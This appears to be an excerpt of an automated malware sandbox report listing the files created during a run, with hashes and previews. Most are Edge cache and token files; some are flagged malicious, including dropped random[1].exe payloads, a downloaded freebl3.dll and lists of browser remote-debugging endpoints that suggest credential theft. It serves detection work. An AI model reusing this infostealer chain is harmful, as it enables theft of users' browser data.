C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.020952373252144
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclX/d74Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lB4Y
MD5:	20BC2DB3C0F9B7E9DDB03F085966541F
SHA1:	1C042B7E91320E6EE661D0F6449E2FABC71A9BD2
SHA-256:	58DA0A6E8156ED1D28AACE8C7FE351A8240369D6013D0533230CDCE46DC49E0C
SHA-512:	3F0F6A193E77D865CF69183EF1844F32DD4DF206E851A2676C9C4AA1EBFF9805498BE1968C98CFFE6F08B544E511F3120C4F45B166ADDE3367BD863F9DF69812
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732834148020599}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a3ca9b43-c89c-4634-9123-82305bd267af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44769
Entropy (8bit):	6.095210385029106
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xlDKKGf4RDVJAj3vv9YnVNkN7DRo+yM/42cRaLMoskU:z/Ps+wsI7yOdP0N7VLyMV/YoskFoz
MD5:	4AEF103C978C3E962EB986B85BFD9D4D
SHA1:	C86BBDB50B15C5B49527EC8A0C96CD2F5FC16785
SHA-256:	895E4A507BC6B5D29B01C42D113FEE91B25241A8A3CE35A465176ADE4F2ACDC4
SHA-512:	C83FABAE797A4AA6F98CFB62B542A2B18750AF07EC52428400C50994235953D95FA7F5A17822B315FF416FEF7B78BB87B227A84A9DEC8E26F788D17232F4B405
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ac87f850-8fd4-4ac3-9e28-d4a017b6b9c2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46027
Entropy (8bit):	6.087458079472915
Encrypted:	false
SSDEEP:	768:QMkbJrT8IeQc5LasAKKGf4RDVJAj3+v9YnVNk9kVCio67DRo+yM/42cRaLMos7H:QMk1rT8HTalPJ9aFo67VLyMV/YosD
MD5:	EDFD6E0FF37C304C4FDB5FFA3E87E1FA
SHA1:	572A2405B109838A3A0BA4F417FF7B8AE480FBFA
SHA-256:	F1170898CC5CA7709FD9278A69BCE91676B8C80B10F077CC9214DCB0FB15390B
SHA-512:	0E7951C138E549B10BC8C488075433D21A552A46C58F66B34B2077B1997F88F07025163459E4213FD9902C4B8CCBFA76AB9302EDDFC7B1968A9BDA434729F16A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"573bb1d3-532f-4e61-abff-3fdb4fb8498e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732733348"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ea9b1de9-da7e-441a-abd6-6c34fcc649a3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46027
Entropy (8bit):	6.087458583588982
Encrypted:	false
SSDEEP:	768:QMkbJrT8IeQc5LnsAKKGf4RDVJAj3+v9YnVNk9kVCio67DRo+yM/42cRaLMos7H:QMk1rT8HTnlPJ9aFo67VLyMV/YosD
MD5:	4DED04C6AA085AE9CA80440A7AC7B4F9
SHA1:	1873022F1C476D6BCB9CD0885542BAE440E96EA2
SHA-256:	B5950CEDB60357C46BB3356FBF651E1242F2B7D397E21859423EE9BD948BA923
SHA-512:	71DEB1ABA12D94645C31C95182ECB30EB21AF0D23619FC4CEACCBD26015A230744AAB546999BE21A9FCA4947AEC02C77840D1393761DE53DC63CC26378147B2F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"573bb1d3-532f-4e61-abff-3fdb4fb8498e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732733348"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8603942556909465
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxaJxl9Il8u1V7sjuIqWfY0K2a9fF2d1rc:mDYjZsjSj0K2a9fH
MD5:	F27926D6E68273ACB34875F3F168168B
SHA1:	F752D0F5CC869AA570E15814CB83FD3B2F5E06F8
SHA-256:	AC660591A187E830CD9F5BED26A9A4087221CDF23147A2A32E07490337313B1C
SHA-512:	5B22E2D49BD9EBFBB9D6EA88556A80CB9593D84DE844D415E9FEEADE1741F86600A74B9B51E19B25F8D636A260B064BEEE9569401FC4B9BE7A9C451C47FC75A5
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.N.L.9.a.w.V.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Z.3.h.5.d.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9976678326998267
Encrypted:	false
SSDEEP:	96:xYjDELVuILoZHZfw0QqJ3dFOp9UxEaWwJmky:xMDEphiHW095dFW9gCgy
MD5:	A32ECD59D99B74EE407BA35582AC9C0C
SHA1:	5E12F7EC3D2153AB1AAE7E50D0E2BD2CD1764F56
SHA-256:	C268F2793FF69ED60E4C96F215205342E04DDA227276B658F884DFA72237CA20
SHA-512:	F7E3410B4FA12760F0F0C9709DD4519C820A5C65A49F1542570E4F3D8272E09061BCC29D91A7D885036BFBA6592AA1DB0269D13AB0C16863FCB8EAE92DF94485
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".4.i.T.I.U.f.1.A.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Z.3.h.5.d.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8969187108251835
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xzxl9Il8u1V3r4StPW702Nfoli/Bh0hswtKPC1CurBAkfpd/vc:aNYjNPtPW702NQM34swtKeCuOcI
MD5:	596F0610F9363154D01DB5A4D6ECD356
SHA1:	4A754D4AD8FF88F9563AA256A79E34F69567D678
SHA-256:	04002E617C5CB7BFAB8BF774F05E33249BCD6BAA7F12296CE6DE6458400F4E64
SHA-512:	CE6B2B5EE850D77D6ECEE984D10DA2155D10A6737E5819339568E586E700013DA844A21B12CAB80DFF07D0DBD977F7E2CA2F8AB1F3F6D4878F49EE6D45492847
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".I.J.8.l.g.c.5.f.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Z.3.h.5.d.4.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1849344
Entropy (8bit):	7.947772356165762
Encrypted:	false
SSDEEP:	49152:c7GhpHvsl25V8AQhwDSZ/IVPTwdW8w+0ko:phpHvuS0qM/owdtT0ko
MD5:	2625167E750E973A5B3819AFE3B1DC61
SHA1:	343DC777A9A9E63ACF9CE7788679184D896D907D
SHA-256:	531459C1B73BC707B008C33B4A9D67EB80092B21E22092952A99E0BFE1EEBE04
SHA-512:	24D5FF3E6C4C467116C029A620CDCC260423E9A217EF7B68C5559632076CB737D77B48CD5C05867A9F67F86229E0D6AB9E92A69E4CEBEDD3147C52B9E0D170F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...B3Gg.............................`I...........@...........................I.....w.....@.................................\`..p....P.......................a...................................................................................... . .@.......X..................@....rsrc........P.......h..............@....idata .....`.......j..............@... .0*..p.......l..............@...hkhcddam....../......n..............@...hshqlxbi.....PI.....................@....taggant.0...`I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1773056
Entropy (8bit):	7.944093905010473
Encrypted:	false
SSDEEP:	49152:BASEXI8mEZTbDegAkd1X9I38JdST5A+zgk2UYDheK:FEX/ZTvj1NJcA4xT
MD5:	D46594ED682B1CCEDACB957752BA9E25
SHA1:	4F20C0A66334FC7E963B6EFA038B5887C784A802
SHA-256:	125A27F4007F57D38D3FE0829153FFA6221E104CC55A9D33E710C88DAA104541
SHA-512:	00A52E50CD6BFAE35EF340D12BDF5440BAFB8AB83B94A5E3184B28F2C0B6FAF2085A15D5CC6AF7CECA08D22F328003EA8122CC2EB3AE1652259214187A20707C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........h...........@..........................0h...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..)...$......v..............@...tevjzfjr.p....N..p...x..............@...xjqjchyu......g.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.39061278596668
Encrypted:	false
SSDEEP:	96:6NnQlyDHQl0NnQ4bQINnQI9QMNnQ9dgEQQNnQYu/IQYuDNnQJ2hDQJENnQcwQpNq:6Niye0NBNNNUZNzvoNJxNjtNq
MD5:	A72EAEAA5D16DE7EA2ACC8E74BD40AFA
SHA1:	75AA30342F8CD48B48526EE590E578D5636FF635
SHA-256:	DE40DABDB64A0A044BAE4E98F61C36267F2288A8F9BB3A94790EBC1184E2AE54
SHA-512:	C7D488EECF7BDBC4A5773436DE56D7A03634F9C3D38DBF5E335F7D54D45433D1EDE6D547CBFB5DBAF314AD769FCE2FD73FFEBD3BB6F0499ED4CE6A0755245E00
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2A8620FFA53E98B2C940429E111EC4F4",.. "id": "2A8620FFA53E98B2C940429E111EC4F4",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2A8620FFA53E98B2C940429E111EC4F4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4111204A14123C1629C84211CEEE0AE8",.. "id": "4111204A14123C1629C84211CEEE0AE8",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4111204A14123C1629C84211CEEE0AE8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.365885327576892
Encrypted:	false
SSDEEP:	48:SfNaoQAuPTEQyfNaoQMQ8fNaoQn8sQnUfNaoQaVAu0UrU0U8QaU:6NnQ5TEQaNnQMQoNnQ5QANnQaV50UrU1
MD5:	76D8D43198CE5FDDAA613ABC17E6DC65
SHA1:	B4BE69CDDA7343D3D8BAA0C9F5B5B280245A3502
SHA-256:	949A4A9EFDBFBD14E39B34DC274F8D3BCE7F9BC49D1297E21128D1824E778B94
SHA-512:	C56EA82C0B8BDCBBAF211FA1511D6585159953D8E68920E8DFCC260522E3D07335E82C39E0A299DC8A5EF6E9DFF8B80BCF247C96267ED66E0212761C7C4A3B36
Malicious:	false
